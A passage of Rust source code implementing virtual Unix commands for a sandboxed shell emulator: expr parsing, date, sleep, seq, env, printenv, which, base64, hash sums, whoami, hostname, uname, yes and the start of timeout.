tokens.len() && (tokens[*pos] == \"*\" || tokens[*pos] == \"/\" || tokens[*pos] == \"%\")\n    {\n        let op = tokens[*pos].clone();\n        *pos += 1;\n        let right = parse_match(tokens, pos)?;\n        let l: i64 = left\n            .parse()\n            .map_err(|_| \"non-integer argument\".to_string())?;\n        let r: i64 = right\n            .parse()\n            .map_err(|_| \"non-integer argument\".to_string())?;\n        if (op == \"/\" || op == \"%\") && r == 0 {\n            return Err(\"division by zero\".to_string());\n        }\n        left = match op.as_str() {\n            \"*\" => (l * r).to_string(),\n            \"/\" => (l / r).to_string(),\n            \"%\" => (l % r).to_string(),\n            _ => unreachable!(),\n        };\n    }\n    Ok(left)\n}\n\nfn parse_match(tokens: &[String], pos: &mut usize) -> Result<String, String> {\n    let left = parse_primary(tokens, pos)?;\n    if *pos < tokens.len() && tokens[*pos] == \":\" {\n        *pos += 1;\n        if *pos >= tokens.len() {\n            return Err(\"syntax error\".to_string());\n        }\n        let pattern = &tokens[*pos];\n        *pos += 1;\n        return expr_match(&left, pattern);\n    }\n    Ok(left)\n}\n\nfn parse_primary(tokens: &[String], pos: &mut usize) -> Result<String, String> {\n    if *pos >= tokens.len() {\n        return Err(\"syntax error\".to_string());\n    }\n    if tokens[*pos] == \"(\" {\n        *pos += 1;\n        let val = parse_or(tokens, pos)?;\n        if *pos >= tokens.len() || tokens[*pos] != \")\" {\n            return Err(\"syntax error: expecting ')'\".to_string());\n        }\n        *pos += 1;\n        return Ok(val);\n    }\n    let val = tokens[*pos].clone();\n    *pos += 1;\n    Ok(val)\n}\n\nfn expr_match(s: &str, pattern: &str) -> Result<String, String> {\n    // expr match is anchored at the beginning\n    let anchored = if pattern.starts_with('^') {\n        pattern.to_string()\n    } else {\n        format!(\"^{pattern}\")\n    };\n    let re = regex::Regex::new(&anchored).map_err(|e| format!(\"invalid regex: {e}\"))?;\n    if let Some(m) = re.captures(s) {\n        if let Some(group) = m.get(1) {\n            Ok(group.as_str().to_string())\n        } else {\n            Ok(m[0].len().to_string())\n        }\n    } else {\n        // If regex has groups, return empty string, else return 0\n        if anchored.contains('(') {\n            Ok(String::new())\n        } else {\n            Ok(\"0\".to_string())\n        }\n    }\n}\n\nfn is_truthy(s: &str) -> bool {\n    !s.is_empty() && s != \"0\"\n}\n\n// ── date ─────────────────────────────────────────────────────────────\n\npub struct DateCommand;\n\nstatic DATE_META: CommandMeta = CommandMeta {\n    name: \"date\",\n    synopsis: \"date [+FORMAT]\",\n    description: \"Display the current date and time.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for DateCommand {\n    fn name(&self) -> &str {\n        \"date\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&DATE_META)\n    }\n\n    fn execute(&self, args: &[String], _ctx: &CommandContext) -> CommandResult {\n        let now = chrono::Local::now();\n\n        if let Some(arg) = args.iter().find(|arg| !arg.starts_with('+')) {\n            return CommandResult {\n                stderr: format!(\"date: invalid date '{arg}'\\n\"),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let output = if let Some(fmt) = args.iter().find(|a| a.starts_with('+')) {\n            now.format(&fmt[1..]).to_string()\n        } else {\n            now.format(\"%a %b %e %H:%M:%S %Z %Y\").to_string()\n        };\n\n        CommandResult {\n            stdout: format!(\"{output}\\n\"),\n            ..Default::default()\n        }\n    }\n}\n\n// ── sleep ────────────────────────────────────────────────────────────\n\npub struct SleepCommand;\n\nstatic SLEEP_META: CommandMeta = CommandMeta {\n    name: \"sleep\",\n    synopsis: \"sleep SECONDS\",\n    description: \"Delay for a specified amount of time.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for SleepCommand {\n    fn name(&self) -> &str {\n        \"sleep\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&SLEEP_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        if args.is_empty() {\n            return CommandResult {\n                stderr: \"sleep: missing operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let seconds: f64 = match args[0].parse() {\n            Ok(v) => v,\n            Err(_) => {\n                return CommandResult {\n                    stderr: format!(\"sleep: invalid time interval '{}'\\n\", args[0]),\n                    exit_code: 1,\n                    ..Default::default()\n                };\n            }\n        };\n\n        if seconds < 0.0 {\n            return CommandResult {\n                stderr: format!(\"sleep: invalid time interval '{}'\\n\", args[0]),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        // Cap sleep to the execution time limit\n        let max_secs = ctx.limits.max_execution_time.as_secs_f64();\n        let capped = seconds.min(max_secs);\n        let duration = std::time::Duration::from_secs_f64(capped);\n\n        #[cfg(target_arch = \"wasm32\")]\n        {\n            let _ = duration;\n            return CommandResult {\n                stderr: \"sleep: not supported in browser environment\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        #[cfg(not(target_arch = \"wasm32\"))]\n        {\n            std::thread::sleep(duration);\n            CommandResult::default()\n        }\n    }\n}\n\n// ── seq ──────────────────────────────────────────────────────────────\n\npub struct SeqCommand;\n\nstatic SEQ_META: CommandMeta = CommandMeta {\n    name: \"seq\",\n    synopsis: \"seq [FIRST [INCREMENT]] LAST\",\n    description: \"Print a sequence of numbers.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for SeqCommand {\n    fn name(&self) -> &str {\n        \"seq\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&SEQ_META)\n    }\n\n    fn execute(&self, args: &[String], _ctx: &CommandContext) -> CommandResult {\n        let mut operands: Vec<&str> = Vec::new();\n        let mut opts_done = false;\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 {\n                // Check if it's a negative number\n                if arg[1..].starts_with(|c: char| c.is_ascii_digit() || c == '.') {\n                    operands.push(arg);\n                }\n                // else ignore flags\n            } else {\n                operands.push(arg);\n            }\n        }\n\n        if operands.is_empty() {\n            return CommandResult {\n                stderr: \"seq: missing operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let (first, increment, last) = match operands.len() {\n            1 => {\n                let last: f64 = match operands[0].parse() {\n                    Ok(v) => v,\n                    Err(_) => {\n                        return CommandResult {\n                            stderr: format!(\"seq: invalid argument '{}'\\n\", operands[0]),\n                            exit_code: 1,\n                            ..Default::default()\n                        };\n                    }\n                };\n                (1.0, 1.0, last)\n            }\n            2 => {\n                let first: f64 = match operands[0].parse() {\n                    Ok(v) => v,\n                    Err(_) => {\n                        return CommandResult {\n                            stderr: format!(\"seq: invalid argument '{}'\\n\", operands[0]),\n                            exit_code: 1,\n                            ..Default::default()\n                        };\n                    }\n                };\n                let last: f64 = match operands[1].parse() {\n                    Ok(v) => v,\n                    Err(_) => {\n                        return CommandResult {\n                            stderr: format!(\"seq: invalid argument '{}'\\n\", operands[1]),\n                            exit_code: 1,\n                            ..Default::default()\n                        };\n                    }\n                };\n                let inc = if first <= last { 1.0 } else { -1.0 };\n                (first, inc, last)\n            }\n            _ => {\n                let first: f64 = match operands[0].parse() {\n                    Ok(v) => v,\n                    Err(_) => {\n                        return CommandResult {\n                            stderr: format!(\"seq: invalid argument '{}'\\n\", operands[0]),\n                            exit_code: 1,\n                            ..Default::default()\n                        };\n                    }\n                };\n                let inc: f64 = match operands[1].parse() {\n                    Ok(v) => v,\n                    Err(_) => {\n                        return CommandResult {\n                            stderr: format!(\"seq: invalid argument '{}'\\n\", operands[1]),\n                            exit_code: 1,\n                            ..Default::default()\n                        };\n                    }\n                };\n                let last: f64 = match operands[2].parse() {\n                    Ok(v) => v,\n                    Err(_) => {\n                        return CommandResult {\n                            stderr: format!(\"seq: invalid argument '{}'\\n\", operands[2]),\n                            exit_code: 1,\n                            ..Default::default()\n                        };\n                    }\n                };\n                (first, inc, last)\n            }\n        };\n\n        if increment == 0.0 {\n            return CommandResult {\n                stderr: \"seq: zero increment\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        // Determine if all args are integers for clean formatting\n        let all_ints = operands.iter().all(|s| s.parse::<i64>().is_ok());\n\n        let mut stdout = String::new();\n        let mut current = first;\n        let max_iters = 1_000_000usize; // safety limit\n        let mut count = 0;\n\n        loop {\n            if increment > 0.0 && current > last + f64::EPSILON {\n                break;\n            }\n            if increment < 0.0 && current < last - f64::EPSILON {\n                break;\n            }\n            if count >= max_iters {\n                break;\n            }\n\n            if all_ints {\n                stdout.push_str(&format!(\"{}\\n\", current as i64));\n            } else {\n                // Format nicely: strip trailing zeros\n                let s = format!(\"{current}\");\n                stdout.push_str(&s);\n                stdout.push('\\n');\n            }\n\n            current += increment;\n            count += 1;\n        }\n\n        CommandResult {\n            stdout,\n            ..Default::default()\n        }\n    }\n}\n\n// ── env ──────────────────────────────────────────────────────────────\n\npub struct EnvCommand;\n\nstatic ENV_META: CommandMeta = CommandMeta {\n    name: \"env\",\n    synopsis: \"env [-i] [NAME=VALUE ...] [COMMAND [ARG ...]]\",\n    description: \"Print the environment or run a command with modified environment variables.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nfn render_env(env: &HashMap<String, String>) -> String {\n    let mut stdout = String::new();\n    let mut keys: Vec<&String> = env.keys().collect();\n    keys.sort();\n    for key in keys {\n        if let Some(val) = env.get(key) {\n            stdout.push_str(&format!(\"{key}={val}\\n\"));\n        }\n    }\n    stdout\n}\n\nfn parse_env_assignment(arg: &str) -> Option<(&str, &str)> {\n    let (name, value) = arg.split_once('=')?;\n    let mut chars = name.chars();\n    let first = chars.next()?;\n    if !(first == '_' || first.is_ascii_alphabetic()) {\n        return None;\n    }\n    if !chars.all(|ch| ch == '_' || ch.is_ascii_alphanumeric()) {\n        return None;\n    }\n    Some((name, value))\n}\n\nimpl super::VirtualCommand for EnvCommand {\n    fn name(&self) -> &str {\n        \"env\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&ENV_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut clear_env = false;\n        let mut idx = 0usize;\n        while idx < args.len() {\n            match args[idx].as_str() {\n                \"-i\" | \"--ignore-environment\" | \"-\" => {\n                    clear_env = true;\n                    idx += 1;\n                }\n                _ => break,\n            }\n        }\n\n        if idx == 0\n            && args.first().is_some_and(|arg| {\n                arg.starts_with('-') && arg != \"-\" && arg != \"-i\" && arg != \"--ignore-environment\"\n            })\n        {\n            return CommandResult {\n                stderr: format!(\"env: unsupported option '{}'\\n\", args[0]),\n                exit_code: 125,\n                ..Default::default()\n            };\n        }\n\n        let mut env = if clear_env {\n            HashMap::new()\n        } else {\n            (*ctx.env).clone()\n        };\n        while idx < args.len() {\n            let Some((name, value)) = parse_env_assignment(&args[idx]) else {\n                break;\n            };\n            env.insert(name.to_string(), value.to_string());\n            idx += 1;\n        }\n\n        if idx == args.len() {\n            return CommandResult {\n                stdout: render_env(&env),\n                ..Default::default()\n            };\n        }\n\n        let Some(exec) = ctx.exec else {\n            return CommandResult {\n                stderr: \"env: command execution unavailable\\n\".into(),\n                exit_code: 125,\n                ..Default::default()\n            };\n        };\n\n        match exec(&shell_join(&args[idx..]), Some(&env)) {\n            Ok(result) => result,\n            Err(err) => CommandResult {\n                stderr: format!(\"env: {err}\\n\"),\n                exit_code: 125,\n                ..Default::default()\n            },\n        }\n    }\n}\n\n// ── printenv ─────────────────────────────────────────────────────────\n\npub struct PrintenvCommand;\n\nstatic PRINTENV_META: CommandMeta = CommandMeta {\n    name: \"printenv\",\n    synopsis: \"printenv [VARIABLE ...]\",\n    description: \"Print all or part of environment.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for PrintenvCommand {\n    fn name(&self) -> &str {\n        \"printenv\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&PRINTENV_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        if args.is_empty() {\n            // Same as env\n            return CommandResult {\n                stdout: render_env(ctx.env),\n                ..Default::default()\n            };\n        }\n\n        let mut stdout = String::new();\n        let mut exit_code = 0;\n\n        for arg in args {\n            if let Some(val) = ctx.env.get(arg.as_str()) {\n                stdout.push_str(val);\n                stdout.push('\\n');\n            } else {\n                exit_code = 1;\n            }\n        }\n\n        CommandResult {\n            stdout,\n            exit_code,\n            ..Default::default()\n        }\n    }\n}\n\n// ── which ────────────────────────────────────────────────────────────\n\npub struct WhichCommand;\n\nstatic WHICH_META: CommandMeta = CommandMeta {\n    name: \"which\",\n    synopsis: \"which COMMAND ...\",\n    description: \"Locate a command.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for WhichCommand {\n    fn name(&self) -> &str {\n        \"which\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&WHICH_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        if args.is_empty() {\n            return CommandResult {\n                stderr: \"which: missing argument\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let mut stdout = String::new();\n        let mut exit_code = 0;\n\n        let path_dirs: Vec<&str> = ctx\n            .env\n            .get(\"PATH\")\n            .map(|p| p.split(':').collect())\n            .unwrap_or_default();\n\n        for arg in args {\n            if arg.contains('/') {\n                let full = if std::path::Path::new(arg).is_absolute() {\n                    std::path::PathBuf::from(arg)\n                } else {\n                    std::path::PathBuf::from(ctx.cwd).join(arg)\n                };\n                if ctx.fs.exists(&full)\n                    && ctx\n                        .fs\n                        .stat(&full)\n                        .is_ok_and(|m| m.node_type != crate::vfs::NodeType::Directory)\n                {\n                    stdout.push_str(&full.to_string_lossy());\n                    stdout.push('\\n');\n                } else {\n                    exit_code = 1;\n                }\n                continue;\n            }\n            let mut found = false;\n            for dir in &path_dirs {\n                let full = if dir.is_empty() {\n                    format!(\"./{arg}\")\n                } else {\n                    format!(\"{dir}/{arg}\")\n                };\n                let p = std::path::Path::new(&full);\n                if ctx.fs.exists(p)\n                    && ctx\n                        .fs\n                        .stat(p)\n                        .is_ok_and(|m| m.node_type != crate::vfs::NodeType::Directory)\n                {\n                    stdout.push_str(&full);\n                    stdout.push('\\n');\n                    found = true;\n                    break;\n                }\n            }\n            if found {\n                continue;\n            }\n            if crate::interpreter::builtins::is_builtin(arg) {\n                stdout.push_str(&format!(\"{arg}: shell built-in command\\n\"));\n            } else {\n                exit_code = 1;\n            }\n        }\n\n        CommandResult {\n            stdout,\n            exit_code,\n            ..Default::default()\n        }\n    }\n}\n\n// ── base64 ───────────────────────────────────────────────────────────\n\npub struct Base64Command;\n\nstatic BASE64_META: CommandMeta = CommandMeta {\n    name: \"base64\",\n    synopsis: \"base64 [-d] [-w COLS] [FILE]\",\n    description: \"Base64 encode or decode data.\",\n    options: &[\n        (\"-d, --decode\", \"decode data\"),\n        (\"-w COLS\", \"wrap encoded lines after COLS characters\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for Base64Command {\n    fn name(&self) -> &str {\n        \"base64\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&BASE64_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut decode = false;\n        let mut wrap_width: Option<usize> = Some(76); // default line wrapping\n        let mut opts_done = false;\n        let mut files: Vec<&str> = Vec::new();\n        let mut i = 0;\n\n        while i < args.len() {\n            let arg = &args[i];\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                i += 1;\n                continue;\n            }\n            if !opts_done && (arg == \"-d\" || arg == \"--decode\") {\n                decode = true;\n            } else if !opts_done && arg.starts_with(\"-w\") {\n                let val = if arg.len() > 2 {\n                    arg[2..].to_string()\n                } else {\n                    i += 1;\n                    if i < args.len() {\n                        args[i].clone()\n                    } else {\n                        \"76\".to_string()\n                    }\n                };\n                let w: usize = val.parse().unwrap_or(76);\n                wrap_width = if w == 0 { None } else { Some(w) };\n            } else if !opts_done && arg == \"-w\" {\n                i += 1;\n                if i < args.len() {\n                    let w: usize = args[i].parse().unwrap_or(76);\n                    wrap_width = if w == 0 { None } else { Some(w) };\n                }\n            } else {\n                files.push(arg);\n            }\n            i += 1;\n        }\n\n        let input = if files.is_empty() {\n            ctx.stdin.as_bytes().to_vec()\n        } else {\n            let path = resolve_path(files[0], ctx.cwd);\n            match ctx.fs.read_file(&path) {\n                Ok(bytes) => bytes,\n                Err(e) => {\n                    return CommandResult {\n                        stderr: format!(\"base64: {}: {}\\n\", files[0], e),\n                        exit_code: 1,\n                        ..Default::default()\n                    };\n                }\n            }\n        };\n\n        if decode {\n            use base64::Engine;\n            let input_str: String = input.iter().map(|&b| b as char).collect();\n            let cleaned: String = input_str.chars().filter(|c| !c.is_whitespace()).collect();\n            match base64::engine::general_purpose::STANDARD.decode(cleaned.as_bytes()) {\n                Ok(decoded) => CommandResult {\n                    stdout: String::from_utf8_lossy(&decoded).to_string(),\n                    ..Default::default()\n                },\n                Err(e) => CommandResult {\n                    stderr: format!(\"base64: invalid input: {e}\\n\"),\n                    exit_code: 1,\n                    ..Default::default()\n                },\n            }\n        } else {\n            use base64::Engine;\n            let encoded = base64::engine::general_purpose::STANDARD.encode(&input);\n            let stdout = match wrap_width {\n                Some(w) if w > 0 => {\n                    let mut wrapped = String::new();\n                    for (i, c) in encoded.chars().enumerate() {\n                        if i > 0 && i % w == 0 {\n                            wrapped.push('\\n');\n                        }\n                        wrapped.push(c);\n                    }\n                    wrapped.push('\\n');\n                    wrapped\n                }\n                _ => format!(\"{encoded}\\n\"),\n            };\n            CommandResult {\n                stdout,\n                ..Default::default()\n            }\n        }\n    }\n}\n\n// ── md5sum ───────────────────────────────────────────────────────────\n\npub struct Md5sumCommand;\n\nstatic MD5SUM_META: CommandMeta = CommandMeta {\n    name: \"md5sum\",\n    synopsis: \"md5sum [FILE ...]\",\n    description: \"Compute and check MD5 message digest.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for Md5sumCommand {\n    fn name(&self) -> &str {\n        \"md5sum\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&MD5SUM_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        use md5::Digest;\n\n        let mut files: Vec<&str> = Vec::new();\n        let mut opts_done = false;\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 && arg != \"-\" {\n                // ignore flags\n            } else {\n                files.push(arg);\n            }\n        }\n\n        if files.is_empty() {\n            files.push(\"-\");\n        }\n\n        let mut stdout = String::new();\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for file in &files {\n            let data = if *file == \"-\" {\n                ctx.stdin.as_bytes().to_vec()\n            } else {\n                let path = resolve_path(file, ctx.cwd);\n                match ctx.fs.read_file(&path) {\n                    Ok(bytes) => bytes,\n                    Err(e) => {\n                        stderr.push_str(&format!(\"md5sum: {}: {}\\n\", file, e));\n                        exit_code = 1;\n                        continue;\n                    }\n                }\n            };\n\n            let mut hasher = md5::Md5::new();\n            hasher.update(&data);\n            let hash = hasher.finalize();\n            let hex: String = hash.iter().map(|b| format!(\"{b:02x}\")).collect();\n            let display_name = if *file == \"-\" { \"-\" } else { file };\n            stdout.push_str(&format!(\"{}  {}\\n\", hex, display_name));\n        }\n\n        CommandResult {\n            stdout,\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\n// ── sha256sum ────────────────────────────────────────────────────────\n\npub struct Sha256sumCommand;\n\nstatic SHA256SUM_META: CommandMeta = CommandMeta {\n    name: \"sha256sum\",\n    synopsis: \"sha256sum [FILE ...]\",\n    description: \"Compute and check SHA256 message digest.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for Sha256sumCommand {\n    fn name(&self) -> &str {\n        \"sha256sum\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&SHA256SUM_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        use sha2::Digest;\n\n        let mut files: Vec<&str> = Vec::new();\n        let mut opts_done = false;\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 && arg != \"-\" {\n                // ignore flags\n            } else {\n                files.push(arg);\n            }\n        }\n\n        if files.is_empty() {\n            files.push(\"-\");\n        }\n\n        let mut stdout = String::new();\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for file in &files {\n            let data = if *file == \"-\" {\n                ctx.stdin.as_bytes().to_vec()\n            } else {\n                let path = resolve_path(file, ctx.cwd);\n                match ctx.fs.read_file(&path) {\n                    Ok(bytes) => bytes,\n                    Err(e) => {\n                        stderr.push_str(&format!(\"sha256sum: {}: {}\\n\", file, e));\n                        exit_code = 1;\n                        continue;\n                    }\n                }\n            };\n\n            let mut hasher = sha2::Sha256::new();\n            hasher.update(&data);\n            let hash = hasher.finalize();\n            let hex: String = hash.iter().map(|b| format!(\"{b:02x}\")).collect();\n            let display_name = if *file == \"-\" { \"-\" } else { file };\n            stdout.push_str(&format!(\"{}  {}\\n\", hex, display_name));\n        }\n\n        CommandResult {\n            stdout,\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\n// ── whoami ───────────────────────────────────────────────────────────\n\npub struct WhoamiCommand;\n\nstatic WHOAMI_META: CommandMeta = CommandMeta {\n    name: \"whoami\",\n    synopsis: \"whoami\",\n    description: \"Print effective user name.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for WhoamiCommand {\n    fn name(&self) -> &str {\n        \"whoami\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&WHOAMI_META)\n    }\n\n    fn execute(&self, _args: &[String], ctx: &CommandContext) -> CommandResult {\n        let user = ctx\n            .env\n            .get(\"USER\")\n            .cloned()\n            .unwrap_or_else(|| \"root\".to_string());\n        CommandResult {\n            stdout: format!(\"{user}\\n\"),\n            ..Default::default()\n        }\n    }\n}\n\n// ── hostname ─────────────────────────────────────────────────────────\n\npub struct HostnameCommand;\n\nstatic HOSTNAME_META: CommandMeta = CommandMeta {\n    name: \"hostname\",\n    synopsis: \"hostname\",\n    description: \"Show the system's host name.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for HostnameCommand {\n    fn name(&self) -> &str {\n        \"hostname\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&HOSTNAME_META)\n    }\n\n    fn execute(&self, _args: &[String], ctx: &CommandContext) -> CommandResult {\n        let host = ctx\n            .env\n            .get(\"HOSTNAME\")\n            .cloned()\n            .unwrap_or_else(|| \"localhost\".to_string());\n        CommandResult {\n            stdout: format!(\"{host}\\n\"),\n            ..Default::default()\n        }\n    }\n}\n\n// ── uname ────────────────────────────────────────────────────────────\n\npub struct UnameCommand;\n\nstatic UNAME_META: CommandMeta = CommandMeta {\n    name: \"uname\",\n    synopsis: \"uname [-amnrs]\",\n    description: \"Print system information.\",\n    options: &[\n        (\"-a\", \"print all information\"),\n        (\"-s\", \"print the kernel name\"),\n        (\"-n\", \"print the network node hostname\"),\n        (\"-r\", \"print the kernel release\"),\n        (\"-m\", \"print the machine hardware name\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for UnameCommand {\n    fn name(&self) -> &str {\n        \"uname\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&UNAME_META)\n    }\n\n    fn execute(&self, args: &[String], _ctx: &CommandContext) -> CommandResult {\n        let mut show_sysname = false;\n        let mut show_nodename = false;\n        let mut show_release = false;\n        let mut show_machine = false;\n        let mut show_all = false;\n\n        if args.is_empty() {\n            show_sysname = true;\n        }\n\n        for arg in args {\n            if let Some(flags) = arg.strip_prefix('-') {\n                for c in flags.chars() {\n                    match c {\n                        'a' => show_all = true,\n                        's' => show_sysname = true,\n                        'n' => show_nodename = true,\n                        'r' => show_release = true,\n                        'm' => show_machine = true,\n                        _ => {}\n                    }\n                }\n            }\n        }\n\n        let sysname = \"Linux\";\n        let nodename = \"rust-bash\";\n        let release = \"6.0.0-virtual\";\n        let machine = \"x86_64\";\n\n        let mut parts = Vec::new();\n        if show_all || show_sysname {\n            parts.push(sysname);\n        }\n        if show_all || show_nodename {\n            parts.push(nodename);\n        }\n        if show_all || show_release {\n            parts.push(release);\n        }\n        if show_all {\n            parts.push(\"#1 SMP\");\n        }\n        if show_all || show_machine {\n            parts.push(machine);\n        }\n\n        CommandResult {\n            stdout: format!(\"{}\\n\", parts.join(\" \")),\n            ..Default::default()\n        }\n    }\n}\n\n// ── yes ──────────────────────────────────────────────────────────────\n\npub struct YesCommand;\n\nstatic YES_META: CommandMeta = CommandMeta {\n    name: \"yes\",\n    synopsis: \"yes [STRING]\",\n    description: \"Output a string repeatedly until killed.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for YesCommand {\n    fn name(&self) -> &str {\n        \"yes\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&YES_META)\n    }\n\n    fn execute(&self, args: &[String], _ctx: &CommandContext) -> CommandResult {\n        let text = if args.is_empty() {\n            \"y\".to_string()\n        } else {\n            args.join(\" \")\n        };\n\n        let max_lines = 10_000;\n        let mut stdout = String::new();\n        for _ in 0..max_lines {\n            stdout.push_str(&text);\n            stdout.push('\\n');\n        }\n\n        CommandResult {\n            stdout,\n            ..Default::default()\n        }\n    }\n}\n\n// ── sha1sum ──────────────────────────────────────────────────────────\n\npub struct Sha1sumCommand;\n\nstatic SHA1SUM_META: CommandMeta = CommandMeta {\n    name: \"sha1sum\",\n    synopsis: \"sha1sum [FILE ...]\",\n    description: \"Compute and check SHA1 message digest.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for Sha1sumCommand {\n    fn name(&self) -> &str {\n        \"sha1sum\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&SHA1SUM_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        use sha1::Digest;\n\n        let mut files: Vec<&str> = Vec::new();\n        let mut opts_done = false;\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 && arg != \"-\" {\n                // ignore flags\n            } else {\n                files.push(arg);\n            }\n        }\n\n        if files.is_empty() {\n            files.push(\"-\");\n        }\n\n        let mut stdout = String::new();\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for file in &files {\n            let data = if *file == \"-\" {\n                ctx.stdin.as_bytes().to_vec()\n            } else {\n                let path = resolve_path(file, ctx.cwd);\n                match ctx.fs.read_file(&path) {\n                    Ok(bytes) => bytes,\n                    Err(e) => {\n                        stderr.push_str(&format!(\"sha1sum: {}: {}\\n\", file, e));\n                        exit_code = 1;\n                        continue;\n                    }\n                }\n            };\n\n            let mut hasher = sha1::Sha1::new();\n            hasher.update(&data);\n            let hash = hasher.finalize();\n            let hex: String = hash.iter().map(|b| format!(\"{b:02x}\")).collect();\n            let display_name = if *file == \"-\" { \"-\" } else { file };\n            stdout.push_str(&format!(\"{}  {}\\n\", hex, display_name));\n        }\n\n        CommandResult {\n            stdout,\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\n// ── timeout ─────────────────────────────────────────────────────────\n\npub struct TimeoutCommand;\n\nstatic TIMEOUT_META: CommandMeta = CommandMeta {\n    name: \"timeout\",\n    synopsis: \"timeout [-k DURATION] [-s SIGNAL] DURATION COMMAND [ARG...]\",\n    description: \"Run a command with a time limit.\",\n    options: &[\n        (\n            \"-k DURATION\",\n            \"send a kill signal after DURATION (no-op in sandbox)\",\n        ),\n        (\"-s SIGNAL\", \"specify the signal to send (no-op in sandbox)\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for TimeoutCommand {\n    fn name(&self) -> &str {\n        \"timeout\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&TIMEOUT_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut i = 0;\n        // Skip optional flags -k and -s (no-op)\n        while i < args.len() {\n            let arg = &args[i];\n            if arg == \"-k\" || arg == \"--kill-after\" {\n                i += 2; // skip flag + value\n            } else if arg == \"-s\" || arg == \"--signal\" {\n                i += 2;\n            } else if arg.starts_with(\"--kill-after=\") || arg.starts_with(\"--signal=\") {\n                i += 1;\n            } else {\n                break;\n            }\n        }\n\n        if i >= args.len() {\n            return CommandResult {\n                stderr: \"timeout: missing operand\\n\".into(),\n                exit_code: 125,\n                ..Default::default()\n            };\n        }\n\n        let duration_str = &args[i];\n        i += 1;\n\n        let duration_secs: f64 = match duration_str.parse() {\n            Ok(d) => d,\n            Err(_) => {\n                return CommandResult {\n                    stderr: format!(\"timeout: invalid time interval '{}'\\n\", duration_str),\n                    exit_code: 125,\n                    ..Default::default()\n                };\n            }\n        